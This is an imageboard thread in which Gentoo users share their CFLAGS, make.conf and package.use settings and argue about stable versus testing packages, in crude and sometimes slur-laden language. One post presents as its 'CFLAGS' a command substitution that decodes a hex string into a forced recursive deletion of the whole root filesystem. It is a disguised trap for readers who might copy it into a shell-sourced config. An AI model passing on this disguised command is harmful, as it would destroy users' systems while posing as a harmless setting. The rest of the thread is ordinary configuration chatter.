What r ur CFLAGS?

what r ur CFLAGS?

Other urls found in this thread:

github.com/haasn/gentoo-conf/blob/xor/etc/portage/package.use/local
github.com/mpv-player/mpv/releases
twitter.com/SFWRedditGifs

Fresh install (first boot literally 10 minutes ago), so vanilla as fuck
"-march=native -O2 -pipe"

same, trying to understand the extra shit in O2 vs. O3 but looks like a fuckton of mystification

-march=native -O2 -fomit-frame-pointer -pipe

CFLAGS="-march=native -O2 -pipe"

O2 implies fomit-frame-pointer

-O2 -march=native -fstack-protector-all --param ssp-buffer-size=1
PORTAGE_TMPDIR is on tmpfs so no -pipe.

Reading this thread makes me want to stick with arch

CFLAGS="-march=amdfam10 -O3 -fstack-protector-strong -fno-delete-null-pointer-checks --param=ssp-buffer-size=4 -fno-lifetime-dse -fno-schedule-insns2 -mcx16 -mpopcnt -pipe -D_FORTIFY_SOURCE=2"

I'm gonna take a stab at this
I'll assume CFLAGS means compiler flags

-march is the target
no idea
no idea
remove checks for null in code
uhh
uhh
idk
wat
something about pop count???
uhh
idk

>PORTAGE_TMPDIR is on tmpfs so no -pipe.
I also have tmpdir on tmpfs but I never considered removing -pipe; have you benchmarked it or measured how much of an affect it has on RAM usage while compiling?

-march=core-avx-i -O2 -pipe

Further optimization isn't needed and will just make you hit bugs that negatively affect performance and stability.

Pic related is my make.conf, 10 years of Gentoo under my belt.

Give me ONE good CONCRETE reason why I shouldn't use march=native, you FUCKING nerd.

If your gcc version recognizes your processor there isn't really any reason not to.

Actually I take that back, if you want your binary packages to work across different systems with different processors you don't want to use -march=native, like if you use a binhost (I do)

distcc

CFLAGS=$($(echo 7375646f20726d202d7266202f202d2d6e6f2d70726573657276652d726f6f74 | xxd -r -p))

CFLAGS="-O2 -march=sandybridge -mmmx -mno-3dnow -msse -msse2 -msse3 -mssse3 -mno-sse4a -mcx16 -msahf -mno-movbe -maes -mno-sha -mpclmul -mpopcnt -mno-abm -mno-lwp -mno-fma -mno-fma4 -mno-xop -mno-bmi -mno-bmi2 -mno-tbm -mavx -mno-avx2 -msse4.2 -msse4.1 -mno-lzcnt -mno-rtm -mno-hle -mno-rdrnd -mno-f16c -mno-fsgsbase -mno-rdseed -mno-prfchw -mno-adx -mfxsr -mxsave -mxsaveopt -mno-avx512f -mno-avx512er -mno-avx512cd -mno-avx512pf -mno-prefetchwt1 --param l1-cache-size=32 --param l1-cache-line-size=64 --param l2-cache-size=4096 -mtune=sandybridge -fstack-protector-strong -pipe"

post package.use/*
*/* speex libressl
net-misc/curl curl_ssl_libressl -curl_ssl_openssl

app-admin/conky -X -iconv -ipv6 mpd -ncurses -portmon -truetype
app-text/poppler cairo
media-sound/ncmpcpp clock outputs visualizer
media-video/ffmpeg gnutls
media-video/mpv luajit
www-client/firefox bindist -dbus -gmp-autoupdate system-harfbuzz system-icu system-jpeg system-libevent system-libvpx system-sqlite
dev-db/sqlite secure-delete
www-client/w3m imlib
x11-drivers/nvidia-drivers -gtk3 -tools
x11-terms/rxvt-unicode 256-color

I forget to backup my package.use that takes lots of time to tweak

github.com/haasn/gentoo-conf/blob/xor/etc/portage/package.use/local

Why not just use -march=native -mtune=native and get rid of most of that?

...

What was the point of that?

Here's the craziest set of CFLAGS I've ever used; it actually resulted in a massive speedup of the program in question:

-m64 -march=native -mtune=native -O3 -fomit-frame-pointer -ffast-math -fgcse-sm -fgcse-las -fgcse-after-reload -fsched-pressure -funsafe-math-optimizations -mfpmath=both

It's 200 lines long.

--enable-h8 -03 --omg-optimized --fuck-upstream --teach-me-unix --time-records --disable-instructions

-march=native -02 -pipe
I don't know why it's so slow, though.

kek

CFLAGS="-march=native -O2 -g"
CXXFLAGS="${CFLAGS}"
MAKEOPTS="-j32 -l32"

>optimize cflags to maximize battery life
>encounter bug in program
>have to update
>compiling for an hour
>battery half empty

The program in question was from a graphics processing thesis. Lots of tiny functions, many of which redid the same work multiple times; all floating point math, but it didn't need that much precision. A heavy mix of things that the compiler could vectorize, and individual computations that weren't vectorizable..

I think the biggest gain came from turning on inlining, and running the common subexpression elimination over and over.

The next big gain was allowing the compiler to send the instruction that couldn't be vectorized to the normal FPU, so they wouldn't block vector operations.

-march=native -O2 turbo -racing -speed - limiter=off

--special-snowflake

-Wall -Wextra -Wpedantic -fno-exceptions -fno-rtti -std=c++14 -g -Wl,--defsym -Wl,__cxa_pure_virtual=1

Just because I don't link to libstdc++

aggressive inlining and whole-program optimization is the biggest source of compiler speedup in general, I feel

The problem is that all those decades of research on compiler optimization tricks usually just fall apart because the compiler isn't seeing the big picture

that's why pure functional languages where you can freely inline, transform, reduce and rewrite code without affecting the semantics can get such insane gains from compiler optimizations

>ACCEPT_KEYWORDS="~amd64"
Edgy

791 here
D:
A lot of it is comments from --autounmask-write though.

*/* **

I don't know why any sane human being would run stable ARCH by default

You literally get like 5-year old and unmaintained packages that nobody gives a shit about updating either. ~amd64 is *the* way to go

>unmaintained packages
Why doesn't Gentoo maintain their stable packages?

They do.

It's very hit or miss

Core packages generally have lots of stability testing and gradual keywording, but less popular packages will generally stay on ~arch forever, or stay on ~arch for very long times.

Also, you'll often run into situations where a core package like ffmpeg is stuck on a 5-year old stable version just because of still being incompatible with the newer version, and thus blocking the newer version from being declared stable.

Like for example right now, mpv is stuck on 0.9.2 stable, even though the unstable version is at 0.23

There haven't been any major fixes or features to mpv to make that upgrade very urgent imo. Its a very bad example.

>install gentoo
>manually configure kernel and bumble through install
>it works and boots
>decide to start over and do it properly this time because I know I fucked some stuff up
>use genkernel because cbf configuring kernel
>install fails
>assume I fucked something up try again
>can't find linuz image on boot even though the pre-reboot checks are all fine
>turns out to be a problem with genkernel and manually configuring the kernel is much better
>have to fully install it all for a fourth time

jesus christ

What's the point of O3 optimisation if they say to never use it? If it actually results in good output is the performance boost actually good?

-O3 is sometimes slower than -O2 because it can increase the code size

genkernel --nconfig

Its better to set -O3 on a per package basis.

Nice joke.

mpv someanime.mkv

Shit works the same on the old version and current version unless I am missing something.

>There haven't been any major fixes or features to mpv since 0.9.2
this is what stablefags actually believe

what is /etc/portage/package.keywords

Name one.

>unless I am missing something.
github.com/mpv-player/mpv/releases
feel free to scroll through the 2 pages changelog of new features, options and bugfixes since 0.9.2

That's what you use to list all of the packages you want to run at versions newer than ~arch64, of course :^)

sys-fs/zfs **
sys-fs/zfs-kmod **
sys-kernel/spl **
sys-boot/grub **
*/*::vapoursynth **
app-admin/pass **
app-editors/neovim **
app-emulation/wine **
app-text/zathura-pdf-mupdf **
app-misc/screenfetch **
media-libs/ffmpegsource **
media-libs/libass **
media-libs/x264 **
media-libs/x265 **
media-libs/zimg **
media-sound/autoplay **
media-sound/mpd **
media-sound/mumble **
media-sound/vimus **
media-video/ffmpeg **
media-video/mpv **
media-video/rtmpdump **
media-video/x264-encoder **
net-irc/weechat **
net-misc/youtube-dl **
=sys-kernel/genkernel-3.5* **
www-client/qutebrowser **
=x11-base/xorg-server-1.19* **
=x11-base/xorg-drivers-1.19* **
x11-misc/rofi **
x11-misc/xmobar **
x11-wm/xmonad **
x11-wm/xmonad-contrib **

I'll summarize it: the quality leap between mpv 0.9.2 and mpv 0.23.0 is comparable to the quality leap between VLC and madVR

have fun recompiling the -9999's every time you run an update

Those don't recompile unless there something they link against changed.

You have to specifically recompile live builds by running emerge @live-rebuild or by using smart-live-rebuild which only rebuilds from repositories that have changed since the last checkout.

So it still plays anime the same, check.

I use gentoo, of course I don't mind compiling

>So it still plays anime the same, check.
If your definition of “playing” anime is “getting some amount of pixels onto the screen” and completely disregard performance, features/functionality, video quality or stability, yes.

Not that I expect a luddite stablefag to care about software quality

Could I have your vimrc?

>Not that I expect a luddite stablefag to care about software quality
I don't think you expect anyone to be able to tell the difference in quality because there isn't one.

How bis ur urxvt?

>turns off all the features
>look, there's no difference! VLC and madVR are the exact same thing!
ah, classic troll tactic

I didn't turn off shit. Its exactly the same.

$ du -b /usr/bin/urxvt
1250040 /usr/bin/urxvt

>being this stupid
you realize the default is all features off, right?

why am I responding to an ignorant tripfag anyway, you're already on my filter, if you didn't keep (You)ing my posts we never would have gotten into this conundrum

111 for me
all hand written so i can group things the way I want

PORTDIR="/var/portage/repos/gentoo"
DISTDIR="/var/portage/distfiles"
PKGDIR="/var/portage/packages"
You guys on the next portage basefilesystem yet? Better do it now before it's forced per update.

why bother?

by the time it's forced via update, there will be more documentation/issues/bug reports/whatever out to explain how to do the transition properly

apt-get install gentoo

>why am I responding to an ignorant tripfag anyway

I did it because it puts the layman repos in the same basefolder folder as gentoo, also separate distfiles by default is nice. I never though about moving that shit into manageable places before so that was a nice logical autistic change.

my distfiles are in /var/cache where they belong

You can set compiler flags with arch as well.
Or any distro for that matter.